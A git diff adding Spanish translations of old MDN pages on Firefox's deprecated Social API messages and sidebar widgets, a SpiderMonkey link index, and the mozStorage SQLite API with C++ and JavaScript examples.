+<p>The Worker constructs and posts a user-recommend-prompt-response in response to a <code>social.user-recommend-prompt</code> message received from the browser. See <code>social.user-recommend-prompt</code> for more details.</p>
+
+<p><em>Arguments:</em></p>
+
+<p><strong>images</strong></p>
+
+<blockquote>
+<p>Object. Must have 2 string keys, 'share' and 'unshare', which each value being the URL to an image which will be set as the "src" property of an image contained in the user-facing click target for the "recommend" action. The user agent will track if the current page has been shared - if so, it will show the 'unshare' image, otherwise will show the 'share' image. It can contain a web-addressible image or a data URL containing dynamically-generated image data. Implementors are strongly encouraged to use a data URL to minimize latency. Each image is expected to be 16px wide and 16px high.</p>
+</blockquote>
+
+<p><strong>messages</strong></p>
+
+<blockquote>
+<p>Objeto. Debe tener las siguientes llaves de cadena:</p>
+</blockquote>
+
+<ul>
+ <li>'shareTooltip', 'unshareTooltip': Las cadenas usadas como el <em>tooltip</em> en el objetivo de clic cuando las imagenes de 'share' y 'unshare', respectivamente, son mostradas.</li>
+ <li>'sharedLabel', 'unsharedLabel': Cadenas que serán usadas para actualziar una etiqueta de <em>widget</em> después de que la acción de 'share' o 'unshare' es tomada para reflejar la transición desde shared-to-unshared o vice-versa. Notese que en Fx17, las etiquetas no son visibles pero son usadas como una ayuda de accesibilidad así que un screen-reader o similar puede hacer notar la transición.</li>
+ <li>'unshareLabel': Una cadena a sermostrda en el 'unshare popup' para reflejar que el item ha sido compartido. Ejemplo: "Ya has compartido esto".</li>
+ <li>'portraitLabel': Una cadena usada como la aria-label para la imagen de perfil de usuario sea mostrada como 'unshare popup'. Ejemplo: "Tu imagen de perfil".</li>
+ <li>'unshareConfirmLabel': Una cadena usada como la etiqueta en el botón en la 'unshare popup' usada para modificar el 'unshare'. Ejemplo: "No compartir esto".</li>
+ <li>'unshareConfirmAccessKey': Una cadena usada como la llave de acceso para el boton de No comprtir. Tipicamente esta debería ser una etiqueta en la cadena 'unshareConfirmLabel'.</li>
+ <li>'unshareCancelLabel': Una cadena usada como la etiqueta en el botón en la 'unshare popup' cuando el usuario decide seguir continuando el elemento. Ejemplo: "Cerrar".</li>
+ <li>'unshareCancelAccessKey': Una cadena usada como la llave de acceso para el botón de No compartir.</li>
+</ul>
+
+<h4 id="social.user-recommend"><code>social.user-recommend</code></h4>
+
+<p><strong>ESTADO: RECHAZADA, </strong><strong>REMOVIDO DE Fx23</strong><strong>, REEMPLAZADO CON social.page-mark</strong></p>
+
+<p>Indica que el usuario ha hecho clic en el elemento de interfaz "user recommendation". El mensaje incluye:</p>
+
+<p><em>Argumentos:</em></p>
+
+<p><strong>url</strong></p>
+
+<blockquote>
+<p>Cadena, requerida. La URL que el usuario está viendo, incluída la cadena de busqueda, pero menos cualquier texto de hash, de la raíz de la actual vista del navegador.</p>
+</blockquote>
+
+<p>No es necesaria una respuesta; como fuere, el servicio debe responder en el mismo puerto con una usuario-recomendación-prompt-respuesta si el objetivo de clic debe cambiar su apariencia.</p>
+
+<h4 id="social.user-unrecommend"><code>social.user-unrecommend</code></h4>
+
+<p><strong>ESTADO: RECHAZADO, REMOVIDO DE Fx23</strong></p>
+
+<p>Indíca que al usuario le gustaría volver a su previa recomendación. El mensaje incluye:</p>
+
+<p><em>Argumentos:</em></p>
+
+<p><strong>url</strong></p>
+
+<blockquote>
+<p>Cadena, requerido. La URL que el usuario está viendo, incluyendo la cadena de consulta, pero no los textos de hash, de la raíz del contexto actual de vista del navegador.</p>
+
+<dl>
+</dl>
+</blockquote>
+
+<p> </p>
diff --git a/files/es/social_api/widgets/index.html b/files/es/social_api/widgets/index.html
new file mode 100644
index 0000000000..85ae2e03a5
--- /dev/null
+++ b/files/es/social_api/widgets/index.html
@@ -0,0 +1,16 @@
+---
+title: Widgets
+slug: Social_API/Widgets
+translation_of: Archive/Social_API/Widgets
+---
+<h1 id="Widgets">Widgets</h1>
+<h2 id="SidebarWidget">SidebarWidget</h2>
+<p>Si un servicio define un SidebarWidget, <span class="short_text" id="result_box" lang="es"><span class="hps">el</span> <span class="hps">navegador</span> <span class="hps">crea instancias, </span></span><span class="short_text" id="result_box" lang="es"><span class="hps">en</span> <span class="hps">determinadas</span> <span class="hps">ventanas del navegador, </span></span><span id="result_box" lang="es"><span class="hps">un área de contenido</span> <span class="hps">cuyo contenido</span> <span class="hps">se encuentra en</span> <span class="hps">el</span> <a href="https://developer.mozilla.org/es/docs/Social_API/Manifest#sidebarURL" title="https://developer.mozilla.org/en-US/docs/Social_API/Manifest#sidebarURL"><span class="hps">sidebarURL</span></a> <span class="hps">definido en el manifiesto</span><span>.</span></span> <span id="result_box" lang="es"><span class="hps">Estas regiones</span> <span class="hps">no se crean instancias</span> <span class="hps">hasta que el</span> </span><em>Worker</em><span id="result_box" lang="es"> <span class="hps">ha sido completamente</span> <span class="hps">cargado</span></span>.<span id="result_box" lang="es"><span class="hps">El contenido de</span> <span class="hps">estas regiones tiene</span> <span class="hps">la API</span> <span class="hps">adicional definida</span></span><span id="result_box" lang="es"><span class="hps"> en la</span> <span class="hps">referencia</span> de </span><em>Service Content API</em><span id="result_box" lang="es"><span class="hps">.</span></span></p>
+<p><span id="result_box" lang="es"><span class="hps">Las Sidebars</span></span> pueden estar en estado <em>visibles</em> u <em>ocultos</em>.</p>
+<ul>
+ <li><span id="result_box" lang="es"><span class="hps">Cuando son visibles</span><span>, reciben un</span> <span class="hps">rectángulo</span> <span class="hps">vertical del</span> <span class="hps">espacio de la pantalla</span> <span class="hps">en</span> <span class="hps">el que se representará</span>, <span class="hps">este rectángulo es</span> <span class="hps">estable a través de</span> <span class="hps">los cambios</span> <span class="hps">en el </span></span><span class="short_text" id="result_box" lang="es"><span class="hps">pestaña</span></span><span id="result_box" lang="es"><span class="hps"> de </span></span><span id="result_box" lang="es"><span class="hps">enfoque</span> <span class="hps">y tiene una</span> <span class="hps">barra de desplazamiento</span> <span class="hps">independiente de</span> <span class="hps">la barra de desplazamiento</span> <span class="hps">del contenido de</span> <span class="hps">la navegación por pestañas</span><span>.</span></span></li>
+ <li>Cuando esta oculta, <span id="result_box" lang="es"><span class="hps">la barra lateral</span> <span class="hps">se elimina completamente de</span> <span class="hps">la jerarquía</span> <span class="hps">visual.</span></span> <span id="result_box" lang="es"><span class="hps">El agente de usuario</span> <span class="hps">continúa entregando</span> <span class="hps">mensajes a</span> <span class="hps">estos, </span></span>Y la barra lateral puede pre procesar su DOM para mostrar posteriormente.</li>
+</ul>
+<p><span id="result_box" lang="es"><span class="hps">Windows Sidebar</span> <span class="hps">se crea una instancia</span> <span class="hps">única</span> <span class="hps">en</span> <span class="hps">las ventanas del navegador</span> <span class="hps">que tienen una</span> <span class="hps">completa</span> <span class="hps">interfaz</span> <span class="hps">de navegación</span> <span class="hps">por pestañas</span><span>, ventanas creadas con </span></span><a href="https://developer.mozilla.org/en-US/docs/DOM/window.open" title="/en-US/docs/DOM/window.open">window.open</a> <span id="result_box" lang="es"><span class="hps">que</span> <span class="hps">no cuentan con estos</span> <span class="hps">elementos de la interfaz</span> <span class="hps">no recibe una</span> <span class="hps">barra lateral.</span></span></p>
+<p><span id="result_box" lang="es"><span class="hps">Cuando una</span> </span><span class="short_text" id="result_box" lang="es"><span class="hps">pestaña</span></span><span id="result_box" lang="es"><span class="hps"> que</span> <span class="hps">se representa directamente</span> <span class="hps">en el navegador</span> <span class="hps">sin</span> <span class="hps">barra de direcciones</span> <span class="hps">se selecciona, </span></span><span id="result_box" lang="es"><span class="hps">la barra lateral</span> <span class="hps">se coloca automáticamente</span> <span class="hps">en</span> <span class="hps">el</span> <span class="hps">estado <em>oculto</em>.</span></span> <span class="short_text" id="result_box" lang="es"><span class="hps">Cuando el</span> <span class="hps">usuario sale de</span> <span class="hps">esa pestaña</span></span>, <span class="short_text" id="result_box" lang="es"><span class="hps">la barra lateral</span> <span class="hps">se hace</span> <span class="hps"><em>visible</em> de nuevo</span></span>. <span id="result_box" lang="es"><span class="hps">Estas pestañas</span> <span class="hps">incluyen</span> <span class="hps">la página de administración</span> <span class="hps">de complementos</span></span>, about:permissions, etc.</p>
+<p><span id="result_box" lang="es"><span class="hps">Los estados</span> <span class="hps">minimizada /</span> <span class="hps">maximizada</span> <span class="hps">/</span> <span class="hps">oculta</span> de <span class="hps">la barra lateral</span> <span class="hps">del widget</span> <span class="hps">son consistentes</span> <span class="hps">a través de todas</span> <span class="hps">las ventanas del navegador. </span></span><span id="result_box" lang="es"><span class="hps">El estado más</span> <span class="hps">reciente </span><span class="hps">es recordado y</span> <span class="hps">usado</span> <span class="hps">para las nuevas ventanas, </span></span><span id="result_box" lang="es"><span class="hps">y</span> <span class="hps">se conserva</span> <span class="hps">en todos los reinicios</span> <span class="hps">del navegador.</span></span></p>
diff --git a/files/es/spidermonkey/index.html b/files/es/spidermonkey/index.html
new file mode 100644
index 0000000000..231a18eab5
--- /dev/null
+++ b/files/es/spidermonkey/index.html
@@ -0,0 +1,115 @@
+---
+title: SpiderMonkey
+slug: SpiderMonkey
+tags:
+  - SpiderMonkey
+translation_of: Mozilla/Projects/SpiderMonkey
+---
+<div>{{SpiderMonkeySidebar}}</div>
+
+<div class="summary">
+<p><strong>SpiderMonkey</strong> is Mozilla's <a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a> engine written in C and C++. It is used in various Mozilla products, including Firefox, and is available under the MPL2.</p>
+</div>
+
+<p>Standalone source code releases can be found on the <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Releases">Releases page</a>.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Creating" name="Creating">Guides</h2>
+
+<h3 id="Building">Building</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Build_Documentation" title="SpiderMonkey build documentation">SpiderMonkey Build Documentation</a></dt>
+ <dd>How to get SpiderMonkey source code, build it, and run the test suite.</dd>
+</dl>
+
+<h3 id="Using_SpiderMonkey">Using SpiderMonkey</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Introduction_to_the_JavaScript_shell" title="Introduction to the JavaScript shell">Introduction to the JavaScript shell</a></dt>
+ <dd>Documentation of the command-line JavaScript shell, <code>js</code>.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/JSAPI_User_Guide" title="en-US/docs/JSAPI_User_Guide">JSAPI User Guide</a></dt>
+ <dd>This guide provides an overview of SpiderMonkey and describes how you can embed engine calls in your applications to make them JavaScript-aware.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/JSAPI_Cookbook" title="en-US/docs/SpiderMonkey/JSAPI_Phrasebook">JSAPI cookbook</a></dt>
+ <dd>Shows the JSAPI translation of some commonly used JavaScript expressions and statements.</dd>
+ <dt><a href="/en-US/docs/SpiderMonkey/GC_Rooting_Guide">GC Rooting Guide</a></dt>
+ <dd>Guide on how to write code compatible with the Generational GC in SpiderMonkey.</dd>
+ <dt><a href="/en-US/docs/How_to_embed_the_JavaScript_engine" title="en-US/docs/How_to_embed_the_JavaScript_engine">How to embed the JavaScript engine</a></dt>
+ <dd>An older tutorial about embedding SpiderMonkey.</dd>
+</dl>
+
+<h2 id="Hacking_on_SpiderMonkey">Hacking on SpiderMonkey</h2>
+
+<dl>
+ <dt><a class="link-https" href="https://wiki.mozilla.org/JavaScript:New_to_SpiderMonkey" title="https://wiki.mozilla.org/JavaScript:New_to_SpiderMonkey">New to SpiderMonkey</a></dt>
+ <dd>A guide to hacking on SpiderMonkey.</dd>
+ <dt><a href="/en-US/docs/SpiderMonkey/Setting_up_CDT_to_work_on_SpiderMonkey" title="en-US/docs/SpiderMonkey/Setting up CDT to work on SpiderMonkey">Setting up CDT to work on SpiderMonkey</a></dt>
+ <dd>How to configure Eclipse to work on the SpiderMonkey code.</dd>
+ <dt><a href="https://www.youtube.com/watch?v=LaFbvPBr6GE">Contributing to SpiderMonkey</a> (YouTube)</dt>
+ <dd>A video that is less than four minutes long.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/SpiderMonkey/Running_Automated_JavaScript_Tests" title="Running automated JavaScript tests">Running Automated JavaScript Tests</a></dt>
+ <dd>How to run the JavaScript test suites.</dd>
+ <dt><a href="/en-US/docs/SpiderMonkey/Creating_JavaScript_tests" title="en-US/docs/SpiderMonkey/Creating JavaScript tests">Creating JavaScript tests</a></dt>
+ <dd>How to add tests to the JavaScript test suites.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Reference">Reference</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/JSAPI_reference" title="en-US/docs/SpiderMonkey/JSAPI_Reference">JSAPI Reference</a></dt>
+ <dd>SpiderMonkey API reference.</dd>
+ <dt><a href="/en-US/docs/SpiderMonkey/JS_Debugger_API_Reference" title="en-US/docs/SpiderMonkey/JS Debugger API Reference">JS Debugger API Reference</a></dt>
+ <dd>API reference for the <code>Debugger</code> object introduced in SpiderMonkey 1.8.6, which corresponds to Gecko 8.0 {{ geckoRelease("8.0") }}.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Internals/Bytecode">Bytecode descriptions</a></dt>
+ <dd>Listing of SpiderMonkey's bytecodes.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Parser_API">Parser API</a></dt>
+ <dd>Reflection of the SpiderMonkey parser, made available as a JavaScript API.</dd>
+</dl>
+
+<h2 id="Tips_tricks_and_philosophy">Tips, tricks and philosophy</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/SpiderMonkey/Future_directions" title="en-US/docs/SpiderMonkey/Future_directions">Future Directions</a></dt>
+ <dd>Future directions for functionality, design, and coding practices.</dd>
+ <dt><a href="/en-US/docs/SpiderMonkey/Internals" title="en-US/docs/SpiderMonkey_Internals">SpiderMonkey Internals</a></dt>
+ <dd>A design overview and a file-by-file walkthrough of the implementation.</dd>
+ <dt><a href="/en-US/docs/SpiderMonkey/Bytecodes" title="en-US/docs/SpiderMonkey/Bytecodes">Bytecode Reference</a></dt>
+ <dd>SpiderMonkey bytecode reference.</dd>
+ <dt><a href="/en-US/docs/SpiderMonkey/Internals/Garbage_collection" title="en-US/docs/SpiderMonkey/Internals/GC">SpiderMonkey Internals: GC</a></dt>
+ <dd>Separate internals article on the GC</dd>
+ <dt><a href="/en-US/docs/SpiderMonkey/Hacking_Tips" title="en-US/docs/SpiderMonkey/Hacking_Tips">SpiderMonkey Internals: Hacking Tips </a></dt>
+ <dd>Collection of helpful tips &amp; tools for hacking on the engine</dd>
+</dl>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a></li>
+ <li><a href="/en-US/docs/SpiderMonkey/FOSS" title="en-US/docs/SpiderMonkey/FOSS">FOSS projects using or based on SpiderMonkey</a></li>
+</ul>
+
+<h2 id="Releases">Releases</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Releases">SpiderMonkey release notes</a></dt>
+ <dd>Current and past versions: <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Releases/52">52</a>, <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Releases/45">45</a>, <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Releases/38">38</a>, <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Releases/31">31</a>, <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Releases/24">24</a>, <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Releases/17">17</a></dd>
+</dl>
+
+<h2 id="Community">Community</h2>
+
+<ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-tech-js-engine">Mailing list</a></li>
+ <li><a href="http://stackoverflow.com/questions/tagged/spidermonkey">SpiderMonkey questions on Stack Overflow</a></li>
+ <li><a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Core&amp;component=JavaScript%20Engine">Report a bug</a></li>
+</ul>
+
+<dl>
+</dl>
+</div>
+</div>
diff --git a/files/es/storage/index.html b/files/es/storage/index.html
new file mode 100644
index 0000000000..87e2df368e
--- /dev/null
+++ b/files/es/storage/index.html
@@ -0,0 +1,252 @@
+---
+title: Storage
+slug: Storage
+tags:
+  - Interfaces
+  - Storage
+  - Todas_las_Categorías
+  - Toolkit API
+  - páginas_a_traducir
+---
+<br>
+<p>{{ Fx_minversion_header(2) }}</p>
+<p><strong>Storage</strong> es una API para la  base de datos <a class="external" href="http://www.sqlite.org/">SQLite</a>. Responde a las llamadas entidades de confianza, es decir, componentes internos de Firefox y extensiones. hace referencia completa a todos los métodos y propiedades de las conexiones de la interfaz de la  base de datos, lee <a href="/es/mozIStorageConnection" title="es/mozIStorageConnection">mozIStorageConnection</a>.</p>
+<p>El API está actualmente "unfrozen," lo que significa que está sujeto a cambios en cualquier momento. Es muy probable que el API cambie en la transición entre Firefox 2 y Firefox 3.</p>
+<p> </p>
+<div class="note"><strong>Nota:</strong> Storage no es lo mismo que la característica <a href="/es/DOM/Storage" title="es/DOM/Storage">DOM:Storage</a> que puede ser usada por páginas web para almacenar datos persistentes o la <a href="/es/Session_store_API" title="es/Session_store_API">Session store API</a> (una utilidad <a href="/es/XPCOM" title="es/XPCOM">XPCOM</a> de almacenaje para usar con las extensiones).</div>
+<p> </p>
+<h2 id="Empezando" name="Empezando">Empezando</h2>
+<p>Este documento cubre el API mozStorage y algunas peculiaridades de sqlite. <em>No</em> cubre SQL o el sqlite. Sin embargo, puedes encontrar varios enlaces útiles en la sección <a href="#Ver_tambi.C3.A9n"> Ver también</a>. Para obtener ayuda sobre el API mozStorage, puedes escribir a mozilla.dev.apps.firefox en el servidor de noticias news.mozilla.org. Para reportar errores, usa <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Toolkit&amp;component=Storage">Bugzilla</a> (producto "Toolkit", componente "Storage").</p>
+<p>Bueno, aquí vamos. mozStorage fue diseñado igual que muchos otros sistemas de base de datos. El procedimiento general de su uso es:</p>
+<ul> <li>Abre una conexión con la base de datos de tu elección.</li> <li>Crea las sentencias a ejecutar en tu conexión.</li> <li>Agrega los parámetros de las sentencias si es necesario.</li> <li>Ejecuta las sentencias.</li> <li>Comprueba si hay errores.</li> <li>Comienza de nuevo con las sentencias.</li>
+</ul>
+<h2 id="Abrir_una_conexi.C3.B3n" name="Abrir_una_conexi.C3.B3n">Abrir una conexión</h2>
+<p>Para los usuarios de C++: La inicialización del servicio de storage debe hacerse desde el mismo hilo principal.Si lo inicializas por primera vez desde otro hilo, obtendrás un error. Por tanto, si quieres usar el servicio dentro de un hilo, asegúrate de llamar a getService desde el hilo principal para estar seguro de que el servicio ha sido creado.</p>
+<p>Ejemplo de apertura de una conexión a "asdf.sqlite" en el directorio del perfil del usuario, en C++:</p>
+<pre>nsCOMPtr&lt;nsIFile&gt; dbFile;
+rv = NS_GetSpecialDirectory(NS_APP_USER_PROFILE_50_DIR,
+                            getter_AddRefs(dbFile));
+NS_ENSURE_SUCCESS(rv, rv);
+rv = dbFile-&gt;Append(NS_LITERAL_STRING("asdf.sqlite"));
+NS_ENSURE_SUCCESS(rv, rv);
+
+mDBService = do_GetService(MOZ_STORAGE_SERVICE_CONTRACTID, &amp;rv);
+NS_ENSURE_SUCCESS(rv, rv);
+rv = mDBService-&gt;OpenDatabase(dbFile, getter_AddRefs(mDBConn));
+NS_ENSURE_SUCCESS(rv, rv);
+</pre>
+<p><code>MOZ_STORAGE_SERVICE_CONTRACTID</code> está definido en {{ Source("storage/build/mozStorageCID.h") }}. Su valor es <code>"@mozilla.org/storage/service;1"</code></p>
+<p>Ejemplo en JavaScript:</p>
+<pre>var file = Components.classes["@mozilla.org/file/directory_service;1"]
+                     .getService(Components.interfaces.nsIProperties)
+                     .get("ProfD", Components.interfaces.nsIFile);
+file.append("my_db_file_name.sqlite");
+
+var storageService = Components.classes["@mozilla.org/storage/service;1"]
+                        .getService(Components.interfaces.mozIStorageService);
+var mDBConn = storageService.openDatabase(file);
+</pre>
+<dl> <dd> <div class="note">Nota: La función OpenDatabase está sujeta a cambios. Seguramente será simplificada y ampliada para que sea más difícil meterse en problemas.</div> </dd>
+</dl>
+<p>Sería tentador nombrar a tu base de datos con un nombre terminado en ".sdb" por <strong>s</strong>qlite <strong>d</strong>ata<strong>b</strong>ase, pero esto <em>no es recomendable</em>. Esta extensión es tratada de forma especial por Windows como una extensión para "Application Compatibility Database" y sus cambios están respaldados por el sistema automáticamente como parte del sistema de recuperación del sistema. Esto puede dar lugar a un tratamiento desmesurado de las operaciones del archivo.</p>
+<h2 id="Sentencias" name="Sentencias">Sentencias</h2>
+<p>Sigue los pasos para crear y ejecutar sentencias SQL en tu base de datos SQLite. Para una completa referencia, lee <a href="/es/MozIStorageStatement" title="es/MozIStorageStatement">mozIStorageStatement</a>.</p>
+<h3 id="Creando_una_sentencia" name="Creando_una_sentencia">Creando una sentencia</h3>
+<p>Hay dos maneras de crear una sentencia. Si no tienes parámetros y la sentencia no devuelve ningún dato, usa <code>mozIStorageConnection.executeSimpleSQL</code>.</p>
+<pre>C++:
+rv = mDBConn-&gt;ExecuteSimpleSQL(NS_LITERAL_CSTRING("CREATE TABLE foo (a INTEGER)"));
+
+JS:
+mDBConn.executeSimpleSQL("CREATE TABLE foo (a INTEGER)");
+</pre>
+<p>De otra forma, deberías preparar la sentencia usando <code>mozIStorageConnection.createStatement</code>:</p>
+<pre>C++:
+nsCOMPtr&lt;mozIStorageStatement&gt; statement;
+rv = mDBConn-&gt;CreateStatement(NS_LITERAL_CSTRING("SELECT * FROM foo WHERE a = ?1"),
+                              getter_AddRefs(statement));
+NS_ENSURE_SUCCESS(rv, rv);
+
+JS:
+var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = ?1");
+</pre>
+<p>Este ejemplo usa el comodín "?1" para recoger un parámetro devuelto más adelante (lee la próxima sección).</p>
+<p>Una vez que has preparado la sentencia, puedes agrupar su parámetros, ejecutarla y re usarla una y otra vez. Si utilizas una sentencia repetidamente, el uso de sentencias pre compiladas te brindará una mejora notable en la ejecución, ya que las consultas SQL no necesitan ser analizadas cada vez.</p>
+<p>If you are familiar with sqlite, you may know that prepared statements are invalidated when the schema of the database changes. Fortunately, mozIStorageStatement detects the error and will recompile the statement as needed. Therefore, once you create a statement, you don't need to worry when changing the schema; all statements will continue to transparently work.</p>
+<h3 id="Agregar_los_par.C3.A1metros" name="Agregar_los_par.C3.A1metros">Agregar los parámetros</h3>
+<p>Generalmente es mucho mejor agregar los parámetros separadamente, en lugar de intentar construir una sentencia SQL en una cadena conteniendo los parámetros. Entre otras cosas, esto evita el ataque de inyección de SQL, ya que un parámetro suelto nunca podrá ser ejecutado como una sentencia SQL.</p>
+<p>Se agregan los parámetros a una sentencia SQL reemplazando los comodines. Los comodines son llamados por orden, empezando con el "?1", luego el "?2", etcétera. Usa la función BindXXXParameter(0) BindXXXParameter(1)... para cambiar esos comodines.</p>
+<dl> <dd> <div class="note">Presta atención: Los indices en los comodines van a partir de 1. Los indices de las funciones de cambio, empiezan en 0. Esto es: el "?1" corresponde al parámetro 0, "?1" corresponde al parámetro 1, etcétera.</div> </dd>
+</dl>
+<p>Tambien puedes usar parámetros con nombre como: ":ejemplo" en lugar de "?xx".</p>
+<p>Un comodín puede aparecer varias veces en una cadena SQL y todas las veces será reemplazado por el correspondiente valos. Los parámetros que no han sido agragados (unbound) serán interpretados como <code>NULL</code></p>
+<p>Los ejemplos a continuación, usan <code>bindUTF8StringParameter()</code> y <code>bindInt32Parameter()</code>. Para una lista de todas las demás funciones, lee <a href="/es/MozIStorageStatement#Binding_functions" title="es/MozIStorageStatement#Binding_functions">mozIStorageStatement</a>.</p>
+<p>Ejemplo en C++:</p>
+<pre>nsCOMPtr&lt;mozIStorageStatement&gt; statement;
+rv = mDBConn-&gt;CreateStatement(NS_LITERAL_CSTRING("SELECT * FROM foo WHERE a = ?1 AND b &gt; ?2"),
+                              getter_AddRefs(statement));
+NS_ENSURE_SUCCESS(rv, rv);
+rv = statement-&gt;BindUTF8StringParameter(0, "hello"); // "hello" será sustituido por "?1"
+NS_ENSURE_SUCCESS(rv, rv);
+rv = statement-&gt;BindInt32Parameter(1, 1234); // 1234 será sustituido por "?2"
+NS_ENSURE_SUCCESS(rv, rv);
+</pre>
+<p>Ejemplo en JavaScript:</p>
+<pre>var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = ?1 AND b &gt; ?2");
+statement.bindUTF8StringParameter(0, "hello");
+statement.bindInt32Parameter(1, 1234);
+</pre>
+<p>Si usas parámetros con nombre, deberías usar el método <code>getParameterIndex</code> para obtener el índice del parámetro con nombre. Aquí hay un ejemplo en JavaScript:</p>
+<pre>var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = :myfirstparam AND b &gt; :mysecondparam");
+
+var firstidx = statement.getParameterIndex(":myfirstparam");
+statement.bindUTF8StringParameter(firstidx, "hello");
+
+var secondidx = statement.getParameterIndex(":mysecondparam");
+statement.bindInt32Parameter(secondidx, 1234);
+</pre>
+<p>Por supuesto, puedes mezclar parámetros con nombre y con índice en la misma consulta:</p>
+<pre>var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = ?1 AND b &gt; :mysecondparam");
+
+statement.bindUTF8StringParameter(0, "hello");
+// you can also use
+// var firstidx = statement.getParameterIndex("?1");
+// statement.bindUTF8StringParameter(firstidx, "hello");
+
+var secondidx = statement.getParameterIndex(":mysecondparam");
+statement.bindInt32Parameter(secondidx, 1234);
+</pre>
+<p>Si quieres usar la clausula <code>WHERE</code> con una expresión <code>IN ( value-list )</code>, las sentencias de Bindings no funcionarán. En su lugar, construye una cadena. Si no estas usando unstradas del usuario, la seguridad no es una de tus preocupaciones:</p>
+<pre>var ids = "3,21,72,89";
+var sql = "DELETE FROM table WHERE id IN ( "+ ids +" )";
+</pre>
+<h3 id="Ejecutar_una_sentencia" name="Ejecutar_una_sentencia">Ejecutar una sentencia</h3>
+<p>La manera principal de ejecutar una sentencia es con <code>mozIStorageStatement.executeStep</code>. Esta función te permite enumerar todos los resultados (filas / registros) que produzca tu sentencia y te notificará cuando no hay más resultados.</p>
+<p>Después de una llamada a <code>executeStep</code>, debes usar la <strong>función de recogida apropiada</strong> en <a href="/es/MozIStorageValueArray" title="es/MozIStorageValueArray">mozIStorageValueArray</a> para recoger el valor en una fila (mozIStorageStatement implementa mozIStorageValueArray). El ejemplo de abajo sólo usa <code>getInt32()</code>.</p>
+<p>Puedes obtener el tipo de un valor desde <code>mozIStorageValueArray.getTypeOfIndex</code>, que devuelve el tipo de la columna especificada. Ten cuidado: sqlite no es una base de datos que maneje tipos. Si requieres un tipo diferente, sqlite hará lo mejor que pueda para convertirlo, y dará algún tipo por defecto si no lo consigue. Por tanto, es imposible obtener errores de tipo, pero puedes obtener datos extraños como valor devuelto.</p>
+<p>En código C++ se puede también usar las funciones <code>AsInt32</code>, <code>AsDouble</code>, etcétera. que devuelven el valor como un valor más manejable en C++. Ten precaución, sin embargo, ya que no tendrás errores si tu índice es invalido. Es imposible obtener otros errores, yq que sqlite siempre convertirá los tipos, aún si no tienen sentido.</p>
+<p>Ejemplo C++:</p>
+<pre>PRBool hasMoreData;
+while (NS_SUCCEEDED(statement-&gt;ExecuteStep(&amp;hasMoreData)) &amp;&amp; hasMoreData) {
+  PRInt32 value = statement-&gt;AsInt32(0);
+  // use the value...
+}
+</pre>
+<p>Ejemplo Javascript:</p>
+<pre>while (statement.executeStep()) {
+  var value = statement.getInt32(0); // ¡usa la función correcta!
+  // usa el valor...
+}
+</pre>
+<p>La función <code>mozIStorageStatement.execute()</code> es útil cuando no estás obteniendo datos de la sentencia. Lo que hace es ejecutar la sentencia una vez y luego volverla al estado inicial. Esto puede ser útil para las sentencias de inserción, ya que realmente limpia el código:</p>
+<pre>var statement = mDBConn.createStatement("INSERT INTO my_table VALUES (?1)");
+statement.bindInt32Parameter(52);
+statement.execute();
+</pre>
+<p>Este es un ejemplo simple pero completo en JavaScript y XUL, de cómo ejecutar sentencias SQL en una base de datos: <img alt="Image:TTRW2.zip">.</p>
+<h3 id="Re_crear_una_sentencia_.28reset.29" name="Re_crear_una_sentencia_.28reset.29">Re crear una sentencia (reset)</h3>
+<p>Es importante re crear sentencias que no han sido usadas nuevamente. Las sentencias no re creadas, dejarán un bloqueo en las tablas y evitarán que otras sentencias puedan acceder a los datos. Sentencias de lectura no re creadas evitarán que funcionen las sentencias de escritura.</p>
+<p>Cuando los objetos sentencias son liberados, su correspondiente sentencia en la base de datos es liberada. Si estás usando C++ y sabes que todas las referencias serán destruidas, no tienes que re crear explicitamente las sentencias. Además, si usas <code>mozIStorageStatement.execute()</code>, tampoco necesitas re crear explicitamente las sentencias, esta función lo hará por ti. En otro caso, llama a <code>mozIStorageStatement.reset()</code>.</p>
+<p>Los que usáis JavaScript, deberéis aseguraros de re crear las sentencias. Se particularmente escrupuloso con las excepciones. Querrás estar seguro de re crear las sentencias aún si ocurre una excepción, o los accesos subsiguientes pueden no ser posibles. Re crear una sentencia es relativamente poco pesado y no ocurre nada malo si ya ha sido re creada, así que no te preocupes por re creaciones innecesarias.</p>
+<pre>var statement = connection.createStatement(...);
+try {
+  // usa la sentencia...
+} finally {
+  statement.reset();
+}
+</pre>
+<p>Los que usáis C++ debéis hacer lo mismo. Existe un objeto en {{ Source("storage/public/mozStorageHelper.h") }} llamado mozStorageStatementScoper que se asegurará que una sentencia dada sea re creada cuando sales del ámbito. Es muy recomendable que uses este objeto si te es posible.</p>
+<pre>void someClass::someFunction()
+{
+  mozStorageStatementScoper scoper(mStatement)
+  // use the statement
+}
